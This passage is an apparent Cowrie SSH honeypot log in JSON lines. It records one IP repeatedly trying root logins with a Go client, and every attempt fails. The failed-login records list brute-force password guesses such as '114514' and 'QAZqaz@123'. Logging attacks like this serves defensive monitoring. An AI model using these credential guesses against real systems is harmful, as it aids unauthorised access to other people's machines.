{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:52.698786Z","src_ip":"60.165.124.241","session":"179730554c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56006,"dst_ip":"10.17.0.5","dst_port":22,"session":"892317a59a8f","protocol":"ssh","message":"New connection: 60.165.124.241:56006 (10.17.0.5:22) [session: 892317a59a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:52.932130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:52.936924Z","src_ip":"60.165.124.241","session":"892317a59a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:53.174010Z","src_ip":"60.165.124.241","session":"892317a59a8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!#ppp123!#","message":"login attempt [root/!#ppp123!#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:53.894348Z","src_ip":"60.165.124.241","session":"892317a59a8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:55.136002Z","src_ip":"60.165.124.241","session":"892317a59a8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58816,"dst_ip":"10.17.0.5","dst_port":22,"session":"35669bc630ab","protocol":"ssh","message":"New connection: 60.165.124.241:58816 (10.17.0.5:22) [session: 35669bc630ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:55.390631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:55.501020Z","src_ip":"60.165.124.241","session":"35669bc630ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:55.749017Z","src_ip":"60.165.124.241","session":"35669bc630ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"114514","message":"login attempt [root/114514] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:56.499302Z","src_ip":"60.165.124.241","session":"35669bc630ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:57.749794Z","src_ip":"60.165.124.241","session":"35669bc630ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33822,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cac4ad03f9f","protocol":"ssh","message":"New connection: 60.165.124.241:33822 (10.17.0.5:22) [session: 3cac4ad03f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:57.978391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:57.983406Z","src_ip":"60.165.124.241","session":"3cac4ad03f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:58.224615Z","src_ip":"60.165.124.241","session":"3cac4ad03f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia8800","message":"login attempt [root/nokia8800] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:21:58.953654Z","src_ip":"60.165.124.241","session":"3cac4ad03f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:00.205743Z","src_ip":"60.165.124.241","session":"3cac4ad03f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36818,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecfab19a7fe3","protocol":"ssh","message":"New connection: 60.165.124.241:36818 (10.17.0.5:22) [session: ecfab19a7fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:00.427727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:00.432774Z","src_ip":"60.165.124.241","session":"ecfab19a7fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:00.671151Z","src_ip":"60.165.124.241","session":"ecfab19a7fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd!123","message":"login attempt [root/passwd!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:01.391478Z","src_ip":"60.165.124.241","session":"ecfab19a7fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:02.637287Z","src_ip":"60.165.124.241","session":"ecfab19a7fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39616,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3f5fd46910","protocol":"ssh","message":"New connection: 60.165.124.241:39616 (10.17.0.5:22) [session: 3d3f5fd46910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:02.869343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:02.874401Z","src_ip":"60.165.124.241","session":"3d3f5fd46910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:03.114919Z","src_ip":"60.165.124.241","session":"3d3f5fd46910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345789","message":"login attempt [root/12345789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:03.829480Z","src_ip":"60.165.124.241","session":"3d3f5fd46910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:05.069779Z","src_ip":"60.165.124.241","session":"3d3f5fd46910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42316,"dst_ip":"10.17.0.5","dst_port":22,"session":"d35faecb317a","protocol":"ssh","message":"New connection: 60.165.124.241:42316 (10.17.0.5:22) [session: d35faecb317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:05.306614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:05.312426Z","src_ip":"60.165.124.241","session":"d35faecb317a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:05.554860Z","src_ip":"60.165.124.241","session":"d35faecb317a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"public","message":"login attempt [root/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:06.277761Z","src_ip":"60.165.124.241","session":"d35faecb317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:07.519445Z","src_ip":"60.165.124.241","session":"d35faecb317a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45446,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fe891b95d9f","protocol":"ssh","message":"New connection: 60.165.124.241:45446 (10.17.0.5:22) [session: 5fe891b95d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:07.755491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:07.763822Z","src_ip":"60.165.124.241","session":"5fe891b95d9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:08.013537Z","src_ip":"60.165.124.241","session":"5fe891b95d9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bb123456","message":"login attempt [root/Bb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:08.750376Z","src_ip":"60.165.124.241","session":"5fe891b95d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:09.993927Z","src_ip":"60.165.124.241","session":"5fe891b95d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48422,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf146e072bf1","protocol":"ssh","message":"New connection: 60.165.124.241:48422 (10.17.0.5:22) [session: bf146e072bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:10.223399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:10.228091Z","src_ip":"60.165.124.241","session":"bf146e072bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:10.465743Z","src_ip":"60.165.124.241","session":"bf146e072bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZqaz@123","message":"login attempt [root/QAZqaz@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:11.191132Z","src_ip":"60.165.124.241","session":"bf146e072bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:12.435221Z","src_ip":"60.165.124.241","session":"bf146e072bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51554,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac590bae5d0","protocol":"ssh","message":"New connection: 60.165.124.241:51554 (10.17.0.5:22) [session: bac590bae5d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:12.677747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:22:12.686502Z","src_ip":"60.165.124.241","session":"bac590bae5d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss